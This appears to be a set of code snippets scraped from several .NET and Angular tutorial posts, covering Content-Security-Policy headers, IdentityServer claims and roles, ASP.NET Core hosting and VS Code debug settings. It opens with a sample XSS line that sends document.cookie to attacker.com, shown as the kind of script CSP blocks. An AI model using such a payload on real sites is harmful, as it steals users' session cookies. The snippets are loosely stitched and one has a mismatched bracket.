Content-Security-Policy: default-src 'self'

<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>

Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.

Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='

<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>

public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}

var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...

Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block

What you will learn in this eBook?
We will cover the following Angular concepts in this book:
- Using Cloud Firestore with an Angular application
- Angular Material and Bootstrap
- Template-driven forms
- Form validation
- Custom pipes
- Auth-guards in Angular
- Authentication and Authorization
- Login with Google using Firebase
- Social share option using ngx-share
- Client-Side pagination using ngx-pagination
- Deploying an Angular app in Firebase 

Claim type: sid - Claim value: f3940d6e58cbb576669ee49c90e22cb1
Claim type: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier - Claim value: d860efca-22d9-47fd-8249-791ba61b07c7
Claim type: http://schemas.microsoft.com/identity/claims/identityprovider - Claim value: local
Claim type: http://schemas.microsoft.com/claims/authnmethodsreferences - Claim value: pwd
Claim type: given_name - Claim value: Vahid
Claim type: family_name - Claim value: N

namespace ImageGallery.MvcClient.WebApp
{
    public class Startup
    {
        public Startup(IConfiguration configuration)
        {
            Configuration = configuration;
            JwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear();
        }

• Claim type: sid - Claim value: 91f5a09da5cdbbe18762526da1b996fb
• Claim type: sub - Claim value: d860efca-22d9-47fd-8249-791ba61b07c7
• Claim type: idp - Claim value: local
• Claim type: given_name - Claim value: Vahid
• Claim type: family_name - Claim value: N

namespace ImageGallery.MvcClient.WebApp
{
        public void ConfigureServices(IServiceCollection services)
        {
// ...
              .AddOpenIdConnect("oidc", options =>
              {
  // ...
                  options.ClaimActions.Remove("amr");
                  options.ClaimActions.DeleteClaim("sid");
                  options.ClaimActions.DeleteClaim("idp");
              });
        }

• Claim type: sub - Claim value: d860efca-22d9-47fd-8249-791ba61b07c7
• Claim type: amr - Claim value: pwd
• Claim type: given_name - Claim value: Vahid
• Claim type: family_name - Claim value: N

namespace DNT.IDP
{
    public static class Config
    {
        // identity-related resources (scopes)
        public static IEnumerable<IdentityResource> GetIdentityResources()
        {
            return new List<IdentityResource>
            {
                new IdentityResources.OpenId(),
                new IdentityResources.Profile(),
                new IdentityResources.Address()
            };
        }

AllowedScopes =
{
    IdentityServerConstants.StandardScopes.OpenId,
    IdentityServerConstants.StandardScopes.Profile,
    IdentityServerConstants.StandardScopes.Address
},

namespace DNT.IDP
{
    public static class Config
    {
        public static List<TestUser> GetUsers()
        {
            return new List<TestUser>
            {
                new TestUser
                {
// ...
                    Claims = new List<Claim>
                    {
// ...
                        new Claim("address", "Main Road 1")
                    }
                },
                new TestUser
                {
// ...
                    Claims = new List<Claim>
                    {
// ...
                        new Claim("address", "Big Street 2")
                    }
                }
            };
        }

namespace ImageGallery.MvcClient.WebApp
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
// ...
              .AddOpenIdConnect("oidc", options =>
              {
   // ...
                  options.Scope.Add("address");
   // …
   options.ClaimActions.DeleteClaim("address");
              });
        }

GET idphostaddress/connect/userinfo
Authorization: Bearer R9aty5OPlk

dotnet add package IdentityModel

namespace ImageGallery.MvcClient.WebApp.Controllers
{
    [Authorize]
    public class GalleryController : Controller
    {
        public async Task<IActionResult> OrderFrame()
        {
            var discoveryClient = new DiscoveryClient(_configuration["IDPBaseAddress"]);
            var metaDataResponse = await discoveryClient.GetAsync();

            var userInfoClient = new UserInfoClient(metaDataResponse.UserInfoEndpoint);

            var accessToken = await HttpContext.GetTokenAsync(OpenIdConnectParameterNames.AccessToken);
            var response = await userInfoClient.GetAsync(accessToken);
            if (response.IsError)
            {
                throw new Exception("Problem accessing the UserInfo endpoint.", response.Exception);
            }

            var address = response.Claims.FirstOrDefault(c => c.Type == "address")?.Value;
            return View(new OrderFrameViewModel(address));
        }

namespace ImageGallery.MvcClient.ViewModels
{
    public class OrderFrameViewModel
    {
        public string Address { get; } = string.Empty;

        public OrderFrameViewModel(string address)
        {
            Address = address;
        }
    }
}

@model ImageGallery.MvcClient.ViewModels.OrderFrameViewModel
<div class="container">
    <div class="h3 bottomMarginDefault">Order a framed version of your favorite picture.</div>
    <div class="text bottomMarginSmall">We've got this address on record for you:</div>
    <div class="text text-info bottomMarginSmall">@Model.Address</div>
    <div class="text">If this isn't correct, please contact us.</div>
</div>

<li><a asp-area="" asp-controller="Gallery" asp-action="OrderFrame">Order a framed picture</a></li>

namespace DNT.IDP
{
    public static class Config
    {
        public static List<TestUser> GetUsers()
        {
            return new List<TestUser>
            {
                new TestUser
                {
//...
                    Claims = new List<Claim>
                    {
//...
                        new Claim("role", "PayingUser")
                    }
                },
                new TestUser
                {
//...
                    Claims = new List<Claim>
                    {
//...
                        new Claim("role", "FreeUser")
                    }
                }
            };
        }

namespace DNT.IDP
{
    public static class Config
    {
        public static IEnumerable<IdentityResource> GetIdentityResources()
        {
            return new List<IdentityResource>
            {
                // ...
                new IdentityResource(
                    name: "roles",
                    displayName: "Your role(s)",
                    claimTypes: new List<string>() { "role" })
            };
        }

namespace DNT.IDP
{
    public static class Config
    {
        public static IEnumerable<Client> GetClients()
        {
            return new List<Client>
            {
                new Client
                {
// ...
                    AllowedScopes =
                    {
// ...
                        "roles"
                    }
// ...
                }
             };
        }

options.Scope.Add("roles");

• Claim type: sub - Claim value: d860efca-22d9-47fd-8249-791ba61b07c7
• Claim type: amr - Claim value: pwd
• Claim type: given_name - Claim value: Vahid
• Claim type: family_name - Claim value: N

options.ClaimActions.MapUniqueJsonKey(claimType: "role", jsonKey: "role");

• Claim type: sub - Claim value: d860efca-22d9-47fd-8249-791ba61b07c7
• Claim type: amr - Claim value: pwd
• Claim type: given_name - Claim value: Vahid
• Claim type: family_name - Claim value: N
• Claim type: role - Claim value: PayingUser

@if(User.IsInRole("PayingUser"))
{
   <li><a asp-area="" asp-controller="Gallery" asp-action="OrderFrame">Order a framed picture</a></li>
}

options.TokenValidationParameters = new TokenValidationParameters
{
    NameClaimType = JwtClaimTypes.GivenName,
    RoleClaimType = JwtClaimTypes.Role,
};

namespace ImageGallery.MvcClient.WebApp.Controllers
{
    [Authorize]
    public class GalleryController : Controller
    {
        [Authorize(Roles = "PayingUser")]
        public async Task<IActionResult> OrderFrame()
        {

using Microsoft.AspNetCore.Mvc;

public class AuthorizationController : Controller
{
    public IActionResult AccessDenied()
    {
        return View();
    }
}

<div class="container">
    <div class="h3">Woops, looks like you're not authorized to view this page.</div>
    <div>Would you prefer to <a asp-controller="Gallery" asp-action="Logout">log in as someone else</a>?</div>
</div>

namespace ImageGallery.MvcClient.WebApp
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddAuthentication(options =>
            {
                // ...
            }).AddCookie("Cookies", options =>
              {
                  options.AccessDeniedPath = "/Authorization/AccessDenied";
              })
// ...

At the time of writing this post, default ASP.NET Core SPA templates allow you to create Angular 5 based app with Visual Studio without installing any third-party extensions or templates. Angular 6 is out now and you can also upgrade the Angular 5 app to Angular 6 . What if you want to create Angular 6 app with VS 2017? This post talks about how to create an Angular 6 App with Visual Studio 2017 and how to extend it with a simple example. 

public class Program
{
    public static void Main(string[] args)
    {
        BuildWebHost(args).Run();
    }

     public static IWebHost BuildWebHost(string[] args) =>
        WebHost.CreateDefaultBuilder(args)
            .UseStartup<Startup>()
            .Build();
}

public class Program
{
    public static void Main(string[] args)
    {
        CreateHostBuilder(args).Build().Run();
    }

    public static IHostBuilder CreateHostBuilder(string[] args) =>
        Host.CreateDefaultBuilder(args)
            .ConfigureWebHostDefaults(webBuilder =>
            {
                webBuilder.UseStartup<Startup>();
            }; 
    }
}

var builder = WebApplication.CreateBuilder(args);
builder.Services.AddRazorPages();
var app = builder.Build();
if (app.Environment.IsDevelopment())
{
   app.UseDeveloperExceptionPage();
}
app.UseStaticFiles();
app.MapGet("/", () => "Hello World!");
app.MapRazorPages();
app.Run();

var hostBuilder = Host.CreateDefaultBuilder(args)
    .ConfigureServices(services => 
    {
        services.AddRazorPages();
    })
    .ConfigureWebHostDefaults(webBuilder =>
    {
        webBuilder.Configure((ctx, app) => 
        {
            if (ctx.HostingEnvironment.IsDevelopment())
            {
                app.UseDeveloperExceptionPage();
            }
            app.UseStaticFiles();
            app.UseRouting();
            app.UseEndpoints(endpoints =>
            {
                endpoints.MapGet("/", () => "Hello World!");
                endpoints.MapRazorPages();
            });
        });
    }); 
hostBuilder.Build().Run();

 var builder = WebApplication.CreateBuilder(args);

builder.Services.AddRazorPages();
builder.Services.AddSingleton<MyThingy>();

builder.Logging.AddFile();

var app = builder.Build();

app.UseStaticFiles();
app.MapRazorPages();

{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "chrome",
      "request": "launch",
      "name": "Launch Chrome with ng serve",
      "url": "http://localhost:4200/#",
      "webRoot": "${workspaceRoot}"
    }
  ]
}

{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "chrome",
      "request": "launch",
      "name": "Launch Chrome for dotnet build & ng build",
      "url": "http://localhost:5000/#",
      "webRoot": "${workspaceRoot}"
    }
  ]
}

  ngOnInit() {
    this.formPoster.getLanguages().subscribe(
      data => {
        this.languages = data;
      },
      err => console.log("get error: ", err)
    );
  }

>npm install
>ng build --watch

>dotnet restore
>dotnet watch run

{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "chrome",
      "request": "launch",
      "name": "Launch Chrome for dotnet build & ng build",
      "url": "http://localhost:5000",
      "runtimeArgs": [
        "--user-data-dir",
        "--remote-debugging-port=9222",
        "--disable-session-crashed-bubble"
      ],
      "sourceMaps": true,
      "trace": true,
      "webRoot": "${workspaceRoot}/wwwroot/",
      "userDataDir": "${workspaceRoot}/.vscode/chrome"
    }
  ]
}

using System;
using System.ComponentModel.DataAnnotations;

namespace ImageGallery.WebApi.DomainClasses
{
    public class Image
    {
        [Key]
        public Guid Id { get; set; }

        [Required]
        [MaxLength(150)]
        public string Title { get; set; }

        [Required]
        [MaxLength(200)]
        public string FileName { get; set; }

        [Required]
        [MaxLength(50)]
        public string OwnerId { get; set; }
    }
}